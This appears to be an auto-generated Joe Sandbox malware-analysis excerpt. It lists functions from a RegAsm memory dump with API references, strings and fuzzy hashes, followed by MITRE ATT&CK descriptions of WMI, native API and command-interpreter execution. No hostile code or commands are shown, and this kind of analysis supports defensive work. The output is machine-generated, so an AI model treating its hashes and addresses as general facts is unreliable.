Similarity

API ID:
String ID: !kcc$7$>
API String ID: 0-3074482854
Opcode ID: cacfc759eaa530ae679648f46226d32eee5898689509dc82b58fe85254a5ebdc
Instruction ID: 531d126b8198b7dd54d790cd377ebb450f45e6c8f6928117af83696c0b3b7270
Opcode Fuzzy Hash: cacfc759eaa530ae679648f46226d32eee5898689509dc82b58fe85254a5ebdc
Instruction Fuzzy Hash: F0F15674D04249DFDB14CFA8C890BEEBBB2BF49304F1485A9E845AB386D7359A45CF60

Function 0055C3B2 Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0055C438

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 6ff7f3967246379c77609919caa5fd4517bee6df1aec60457c48e82187bb2f94
Instruction ID: f74c0c446bc8f5c78f06cfc9d8a8ba8fc823ca7bf7385aaf47b68e8f5a3d5b37
Opcode Fuzzy Hash: 6ff7f3967246379c77609919caa5fd4517bee6df1aec60457c48e82187bb2f94
Instruction Fuzzy Hash: 44B158729003569FDB118F68CCA1BAE7FA5FF99351F144156ED04AB282D274EA09C7A0

Function 00541700 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00541737
___except_validate_context_record.LIBVCRUNTIME ref: 0054173F
_ValidateLocalCookies.LIBCMT ref: 005417C8
__IsNonwritableInCurrentImage.LIBCMT ref: 005417F3
_ValidateLocalCookies.LIBCMT ref: 00541848

Strings

csm, xrefs: 005417DD

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 110b47976e1d10d38dfd4db43b11047d92a6246b0af650e048ba74ff639c7a7a
Instruction ID: 39ad22bf271eace362724db6ddc85ffdec6c8ccf59f79c71b509408702d337fc
Opcode Fuzzy Hash: 110b47976e1d10d38dfd4db43b11047d92a6246b0af650e048ba74ff639c7a7a
Instruction Fuzzy Hash: A341B034E006099BCF10DF68C888ADEBFB5FF84328F148555E815AB3A2D731EA45CB95

Function 0055B872 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,0041C3C8,?,77465D17,?,0055B981,0041C3C8,0053EFA8,00000000,0041C3C8), ref: 0055B933

Strings

api-ms-, xrefs: 0055B8C9
ext-ms-, xrefs: 0055B8DD

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 6da345fa8a36e3ad02dd23f6b3a9604d0fb99d3302131f6fbe967117a2a2ca68
Instruction ID: d96a64910e2e8d9ba011706d4fb493d60e6f891456b7491aaf6a8f73ca381f16
Opcode Fuzzy Hash: 6da345fa8a36e3ad02dd23f6b3a9604d0fb99d3302131f6fbe967117a2a2ca68
Instruction Fuzzy Hash: 0E21A031A00215EBEB218B64DC69A5A3F68FF92771F111212FE45A72C1D730ED0CD6D0

Function 00549849 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getSignedDimension.LIBCMT ref: 0054989A

Strings

void, xrefs: 0054986A
`template-parameter, xrefs: 00549904

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Decorator::getDimensionSigned
String ID: `template-parameter$void
API String ID: 2996861206-4057429177
Opcode ID: da3bc8500398d85185640c9a919e1fc14ad9f5c42438cf65595e956fd8029ee2
Instruction ID: 4d25bb3670ace03985d4dd460e2398293c47d2815cdf14fffacff7c1ada61cb7
Opcode Fuzzy Hash: da3bc8500398d85185640c9a919e1fc14ad9f5c42438cf65595e956fd8029ee2
Instruction Fuzzy Hash: 3F3160719042099BDF14DFE4D85ABEFBBF8BB58318F10442AE611B2191DB745A089B61

Function 005505E8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,77465D17,?,?,00000000,0056B470,000000FF,?,005505C4,?,?,00550598,00000000), ref: 0055061D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0055062F
FreeLibrary.KERNEL32(00000000,?,00000000,0056B470,000000FF,?,005505C4,?,?,00550598,00000000), ref: 00550651

Strings

mscoree.dll, xrefs: 00550616
CorExitProcess, xrefs: 00550627

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 61c46c72f95382c59d46423b7cc59772b44a214f86dcf092d5c38bb5142c08f9
Instruction ID: 7fd7b5c30336d2823b5c2b5932789820539e0789d3c625f37382cd778841426b
Opcode Fuzzy Hash: 61c46c72f95382c59d46423b7cc59772b44a214f86dcf092d5c38bb5142c08f9
Instruction Fuzzy Hash: E201A231A41659EFDB118F54DC49BBEBFB8FB44B12F000626F812A32E0DBB59804CA90

Function 00418600 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00418612
int.LIBCPMTD ref: 00418624

Part of subcall function 0040E500: std::_Lockit::_Lockit.LIBCPMT ref: 0040E516
Part of subcall function 0040E500: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E540

Concurrency::cancel_current_task.LIBCPMTD ref: 0041866B
std::_Lockit::~_Lockit.LIBCPMT ref: 004186E1

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: e16bb3e72a06d20571735a2c76b2ee59379961c0a9d686e00633a1ac3c750b28
Instruction ID: c9fd12e3b962e09bff097b1b9411fd4edce6c661db11c9131cb4203ddb524732
Opcode Fuzzy Hash: e16bb3e72a06d20571735a2c76b2ee59379961c0a9d686e00633a1ac3c750b28
Instruction Fuzzy Hash: 6E31C6B5D00209DFCB04DF95D585AEEBBB1BF48304F108A6AE815B7390EB346A45CF95

Function 00540113 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0054011A
std::_Lockit::_Lockit.LIBCPMT ref: 00540125
std::_Lockit::~_Lockit.LIBCPMT ref: 00540193

Part of subcall function 00540276: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0054028E

std::locale::_Setgloballocale.LIBCPMT ref: 00540140
_Yarn.LIBCPMT ref: 00540156

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 21768121334c6d93ed9031e9d147dea7e2685eb9d490a682de17af90c156ba17
Instruction ID: c88c99bf56d14649a5122ea6f2865f5f3bbf369bfc1ed7c076f0513db2fa16c1
Opcode Fuzzy Hash: 21768121334c6d93ed9031e9d147dea7e2685eb9d490a682de17af90c156ba17
Instruction Fuzzy Hash: 8801BCB9A005129BCB06EB20C8595BD7FA2FFD8714B24501AE902573D2DF746E06DB91

Function 0054562F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 0054569B
DName::operator=.LIBVCRUNTIME ref: 00545730

Strings

fWT, xrefs: 00545637
fWT, xrefs: 005456AE

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator=Replicator::operator[]
String ID: fWT$fWT
API String ID: 3211817929-1407460960
Opcode ID: 453f5ba06395881f7401466c81dd88e51da6087c96dc50c97b327b727ceb0d85
Instruction ID: f516c0701e0dfcab0abfd26c17290ec33276d6edd7595897271026ae1835e5c8
Opcode Fuzzy Hash: 453f5ba06395881f7401466c81dd88e51da6087c96dc50c97b327b727ceb0d85
Instruction Fuzzy Hash: F93147716006008BDB10DBA4C859BFE7FA9FB5676DF14442DE682D7183FB749808CB50

Function 0054697C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00544233: pDNameNode::pDNameNode.LIBCMT ref: 00544259

DName::DName.LIBVCRUNTIME ref: 00546A3B
DName::operator+.LIBCMT ref: 00546A49

Strings

void, xrefs: 005469CC
void , xrefs: 005469E4

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name$Name::Name::operator+NodeNode::p
String ID: void$void
API String ID: 3257498322-3746155364
Opcode ID: e6938d89f6235a91674158057764b790ed661707474b7a1337765f99360457c9
Instruction ID: b1cb338e8732584e6454a4c4cd33a9b88c3773c19fb3d91f26a886476816c93f
Opcode Fuzzy Hash: e6938d89f6235a91674158057764b790ed661707474b7a1337765f99360457c9
Instruction Fuzzy Hash: 43213EB5904209EFDB04DF90DC5AAFE7FB8FB05308F10845AE912A7251EB709648DF91

Function 005470CD Relevance: 6.2, APIs: 4, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00547202

Part of subcall function 00544346: __aulldvrm.LIBCMT ref: 00544377

DName::operator+.LIBCMT ref: 00547163
DName::operator=.LIBVCRUNTIME ref: 00547247
DName::DName.LIBVCRUNTIME ref: 00547279

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=__aulldvrm
String ID:
API String ID: 2973644308-0
Opcode ID: f014b24d5c1f95f63f2198f33d61c5b1b0682a687eb696b3d2a2439f7910521e
Instruction ID: de3e27c7c1e290334aeb10f7a4f99ab59a6c25b127391a99cc02aa514885b388
Opcode Fuzzy Hash: f014b24d5c1f95f63f2198f33d61c5b1b0682a687eb696b3d2a2439f7910521e
Instruction Fuzzy Hash: A3618EB8908219DFCB14CF94D885AEEBFB4FB5E304F14816AE941AB351D7B09A44DF90

Function 0051C760 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010), ref: 0051C783

Strings

P@, xrefs: 0051C859
operation failed with error , xrefs: 0051C7D4
OS_Rng: , xrefs: 0051C7B3

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast
String ID: operation failed with error $OS_Rng: $P@
API String ID: 1452528299-2227021971
Opcode ID: 959330e244e5d50fae0d94fff691a939f0e5a823c6850cab8c8f741dfc4c2008
Instruction ID: cda5c1dd8629cee86d72951e2f1a8116e9b4e69658c852e900b1972a4fd9e7bb
Opcode Fuzzy Hash: 959330e244e5d50fae0d94fff691a939f0e5a823c6850cab8c8f741dfc4c2008
Instruction Fuzzy Hash: 445116B1D00248EFCB05DFA9D951BEEBBB4BF48304F2085ADE415A7381DB745A44CBA5

Function 00540957 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000400,?,?,?,004F4D37,00000000,00000000,?,?,?,004F4D37,?,?,?,00000000), ref: 00540974
GetLastError.KERNEL32(?,?,?,004F4D37,?,?,?,00000000,00000000), ref: 00540980
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,004F4D37,00000000,00000000,?,?,?,004F4D37,?,?,?,00000000), ref: 005409A6
GetLastError.KERNEL32(?,?,?,004F4D37,?,?,?,00000000,00000000), ref: 005409B2

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 9d15dc997c8cb139624ddcd69354d736c771ef8327062e0090a6e7e09d49c481
Instruction ID: 78b365ea1376fce5eabb1b255548ad614e3cef9f7be79a9c5cee4eb13d650c15
Opcode Fuzzy Hash: 9d15dc997c8cb139624ddcd69354d736c771ef8327062e0090a6e7e09d49c481
Instruction Fuzzy Hash: EF01FB3260015AFBDF221E95DC08DAF7E3AFBD97A4B108014FE4597260C6318825ABA0

Function 00440850 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 369COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00440D62

Strings

`@, xrefs: 00440D58
`XA, xrefs: 00440D4F

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 954debce7beda8aba77882d5c34ea69d988085eb646a47384e6e847360c3b3ac
Instruction ID: 63661a48df45f931cc96bbe07d3cb05a8eeac4ffddd457e5f0c96ac790004fa0
Opcode Fuzzy Hash: 954debce7beda8aba77882d5c34ea69d988085eb646a47384e6e847360c3b3ac
Instruction Fuzzy Hash: DEF12DB1C102189BCB14EFA5DC91AEEB778BF58304F40419EE50AA7251EF346B89CF64

Function 005555DA Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00555751

Strings

-, xrefs: 005556A2
+, xrefs: 005556AF

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: ed4f878be6e0536be42b7254fe51af607bcf73f48bcb7c473c4ce523ffbb933e
Instruction ID: 6a4b5a6deb63d5bcb21a0e32264aae7d2897fcf3af6558e9ec6bb439168c619f
Opcode Fuzzy Hash: ed4f878be6e0536be42b7254fe51af607bcf73f48bcb7c473c4ce523ffbb933e
Instruction Fuzzy Hash: 59A1E130D11A59EFCF24CE6888706EE7FB5FF59362F24855BEC619B291E23099098B50

Function 00549156 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 005491B1
DName::DName.LIBVCRUNTIME ref: 005492FC

Strings

..., xrefs: 005492B3

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Replicator::operator[]
String ID: ...
API String ID: 3707554701-440645147
Opcode ID: 58da9d70f00e0823d33eb15a2fd4aacdfb2032a6ead2df087386fc62a2669953
Instruction ID: fe882b7632fd9f29eb9abd87368b16858494fb150d220ac972bdbee70595b270
Opcode Fuzzy Hash: 58da9d70f00e0823d33eb15a2fd4aacdfb2032a6ead2df087386fc62a2669953
Instruction Fuzzy Hash: A751C67490824AAFCB14CFA8D88A6EFBFF4BF5A308F14845ED545E7251D7B49908CB50

Function 0041A590 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 0041A637

Strings

HHA, xrefs: 0041A5A6
HHA, xrefs: 0041A627, 0041A62F, 0041A62A, 0041A632

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: HHA$HHA
API String ID: 2001391462-78794114
Opcode ID: 502a17fa5aa5cd36a583ee11d9d6d59a7bae2f4031ab60b5b46a8ce7cb69a0a2
Instruction ID: 132d7acc6b3f452c46b1285fd22ce5ac8492f5739a401f5da83038d8ac8c32e5
Opcode Fuzzy Hash: 502a17fa5aa5cd36a583ee11d9d6d59a7bae2f4031ab60b5b46a8ce7cb69a0a2
Instruction Fuzzy Hash: 56512CB5D02209ABCF04DF94D845AEF77B5BF54304F14842AE81597381E738EAA1CFA6

Function 00548843 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00548943

Part of subcall function 0054460A: shared_ptr.LIBCMT ref: 00544626

Strings

cpu, xrefs: 005488EE
amp, xrefs: 005488DF

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::shared_ptr
String ID: amp$cpu
API String ID: 2125921051-2542064945
Opcode ID: 3deb029589026f158f5dfa05afecc3c861656cb5e50e3f143fe27a08a4a62530
Instruction ID: 488449b750cb3eef8ea8cf6eb13a3b42efbf9f18a2a55dfb9723d1e345417df0
Opcode Fuzzy Hash: 3deb029589026f158f5dfa05afecc3c861656cb5e50e3f143fe27a08a4a62530
Instruction Fuzzy Hash: 1731AE75D0061AAFCB14DF98C855AFDBFF4BB59348F108469E545A7341DB309A04CF91

Function 00547336 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 0054734D
DName::DName.LIBVCRUNTIME ref: 005473D2

Strings

A, xrefs: 005473B2

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::
String ID: A
API String ID: 1333004437-3554254475
Opcode ID: a0b925c30271f3fca159a5e2141d85d0478b828af3f6b02d1df77856a66944e1
Instruction ID: e6ee83c2e3ed25a194b6764456774df68fbf5fe51c696a6f8a2a4d3a051986f4
Opcode Fuzzy Hash: a0b925c30271f3fca159a5e2141d85d0478b828af3f6b02d1df77856a66944e1
Instruction Fuzzy Hash: B1218B71908209EFDF00DFA4D846BED7FB1FB49308F148899E9459B251C7709A89EF40

Function 0040E300 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040E314
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040E3C1

Part of subcall function 00540211: _Yarn.LIBCPMT ref: 00540230
Part of subcall function 00540211: _Yarn.LIBCPMT ref: 00540254

Strings

bad locale name, xrefs: 0040E3CB

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: d97aab21ed2e06f33aafcf05223f60cca468985a7f9957c4249f6207866ce049
Instruction ID: bb9d9dd4e5391612ea889edae47e91b294a8893917ec8cd4464bb975c24a7ef3
Opcode Fuzzy Hash: d97aab21ed2e06f33aafcf05223f60cca468985a7f9957c4249f6207866ce049
Instruction Fuzzy Hash: 50312BB4E04209DFDB04CF98C995BAEFBB1FF48304F248199D805AB381C7759A41CBA5

Function 004164F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 004165CB

Strings

eVA, xrefs: 0041650C, 0041651E, 00416533, 00416591, 0041659D, 004165AA
eVA, xrefs: 00416567, 00416545, 00416553, 0041655D

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: eVA$eVA
API String ID: 2001391462-2010160217
Opcode ID: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction ID: 9ab3e6916cf0d860965d67e495f956fdb17b34ad4b651c815909af831e30d601
Opcode Fuzzy Hash: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction Fuzzy Hash: 2531AA74A04208EFDB04CF98D094BEEB7B5BF48344F2481A9D8489B346D775AE85DF94

Function 00415540 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041557C

Strings

`@, xrefs: 00415572
`XA, xrefs: 00415569

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 1e412c28e847b37017de378b08037de3b1843bb12c29ed0a5c6adc258165753f
Instruction ID: b4f5c24fd24a740bb919dbe7edd0d3aad277cabc1e1ef45a8799c3c220d13868
Opcode Fuzzy Hash: 1e412c28e847b37017de378b08037de3b1843bb12c29ed0a5c6adc258165753f
Instruction Fuzzy Hash: 41F049B1D00209EFCF04DFA8D9559AEBFB1AB82301F9041A9E404BF345DA35AF50CB95

Function 004155B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004155EC

Strings

`@, xrefs: 004155E2
`XA, xrefs: 004155D9

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 85c645d17fd4d93e7b542194de2c8027e8c12648c5dff1a13048255a1b00837e
Instruction ID: c4825402b572dceabb6ce8928c0928996f5a66f8c5f61778e5c561409a7e3af6
Opcode Fuzzy Hash: 85c645d17fd4d93e7b542194de2c8027e8c12648c5dff1a13048255a1b00837e
Instruction Fuzzy Hash: 97F049B1D00209EBCB04DFA8DD559AEBFB0EB81302F104199E404BB305DA35AE50CBA4

Function 004157F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041582C

Strings

`@, xrefs: 00415822
`XA, xrefs: 00415819

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 5e25280af4c3002ff95aa1a702fa0c2a55156515f532cf40c47e9fabf7e727ba
Instruction ID: 2849dc226692ef06388fffd58b0de46829bdf67ec8e7be1e17b9e587b587658a
Opcode Fuzzy Hash: 5e25280af4c3002ff95aa1a702fa0c2a55156515f532cf40c47e9fabf7e727ba
Instruction Fuzzy Hash: 7DF04FB1D0010CEBCB04DFACD95599EBFB0AB81305F5041A9E841BB306DA35AE50CB94

Function 00415780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004157BC

Strings

`@, xrefs: 004157B2
`XA, xrefs: 004157A9

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: adee1760366cdb2702530df73099c6e1923833307b294b26301f57ea8e0a01e4
Instruction ID: 2ccd3208c603f924976b72cef0fa131ae86fb06375c461cc3468165965826c01
Opcode Fuzzy Hash: adee1760366cdb2702530df73099c6e1923833307b294b26301f57ea8e0a01e4
Instruction Fuzzy Hash: DDF04FB1D00208EBCB04DFE8D95699EBFB4BB41300F204199E400BB355DA31AE50CB95

Function 00415860 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041587D

Strings

`@, xrefs: 00415873
`XA, xrefs: 0041586A

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: b4078fb0e02c05778eb48a1684b50724a5d1c066efc21c496a44fd94f1e9a7d3
Instruction ID: 10417e9d1bb85bd311e7e5e43171ef42eaadfa027d2891f6260197680766f4cd
Opcode Fuzzy Hash: b4078fb0e02c05778eb48a1684b50724a5d1c066efc21c496a44fd94f1e9a7d3
Instruction Fuzzy Hash: B0E065F5900208EBCB04DF84D9528AE7FB4FB46301F104099F9046B310D632AF10D764

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

